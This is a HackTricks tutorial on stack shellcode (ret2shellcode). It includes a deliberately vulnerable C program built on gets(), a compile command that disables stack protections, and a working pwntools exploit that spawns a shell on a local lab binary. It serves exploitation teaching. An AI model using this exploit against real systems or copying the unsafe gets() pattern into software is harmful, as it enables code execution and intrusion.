Stack Shellcode - HackTricks

# Stack Shellcode

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Basic Information

Stack shellcode is a technique used in binary exploitation where an attacker writes shellcode to a vulnerable program's stack and then modifies the Instruction Pointer (IP) or Extended Instruction Pointer (EIP) to point to the location of this shellcode, causing it to execute. This is a classic method used to gain unauthorized access or execute arbitrary commands on a target system. Here's a breakdown of the process, including a simple C example and how you might write a corresponding exploit using Python with pwntools.

### C Example: A Vulnerable Program

Let's start with a simple example of a vulnerable C program:

    #include <stdio.h>
    #include <string.h>

    void vulnerable_function() {
        char buffer[64];
        gets(buffer); // Unsafe function that does not check for buffer overflow
    }

    int main() {
        vulnerable_function();
        printf("Returned safely\n");
        return 0;
    }

This program is vulnerable to a buffer overflow due to the use of the `gets()` function.

### Compilation

To compile this program while disabling various protections (to simulate a vulnerable environment), you can use the following command:

    gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c

- `-fno-stack-protector`: Disables stack protection.
- `-z execstack`: Makes the stack executable, which is necessary for executing shellcode stored on the stack.
- `-no-pie`: Disables Position Independent Executable, making it easier to predict the memory address where our shellcode will be located.
- `-m32`: Compiles the program as a 32-bit executable, often used for simplicity in exploit development.

### Python Exploit using Pwntools

Here's how you could write an exploit in Python using pwntools to perform a ret2shellcode attack:

    from pwn import *

    # Set up the process and context
    binary_path = './vulnerable'
    p = process(binary_path)
    context.binary = binary_path
    context.arch = 'i386' # Specify the architecture

    # Generate the shellcode
    shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

    # Find the offset to EIP
    offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

    # Prepare the payload
    # The NOP slide helps to ensure that the execution flow hits the shellcode.
    nop_slide = asm('nop') * (offset - len(shellcode))
    payload = nop_slide + shellcode
    payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
    payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

    # Send the payload
    p.sendline(payload)
    p.interactive()

This script constructs a payload consisting of a NOP slide, the shellcode, and then overwrites the EIP with the address pointing to the NOP slide, ensuring the shellcode gets executed.

The NOP slide (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.

## Protections

- ASLR should be disabled for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
- Stack Canaries should be also disabled or the compromised EIP return address won't never be followed.
- NX stack protection would prevent the execution of the shellcode inside the stack because that region won't be executable.

## Other Examples & References

- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
  - 64bit, ASLR with stack address leak, write shellcode and jump to it
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
  - 32 bit, ASLR with stack leak, write shellcode and jump to it
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
  - 32 bit, ASLR with stack leak, comparison to prevent call to exit(), overwrite variable with a value and write shellcode and jump to it
- https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
  - arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.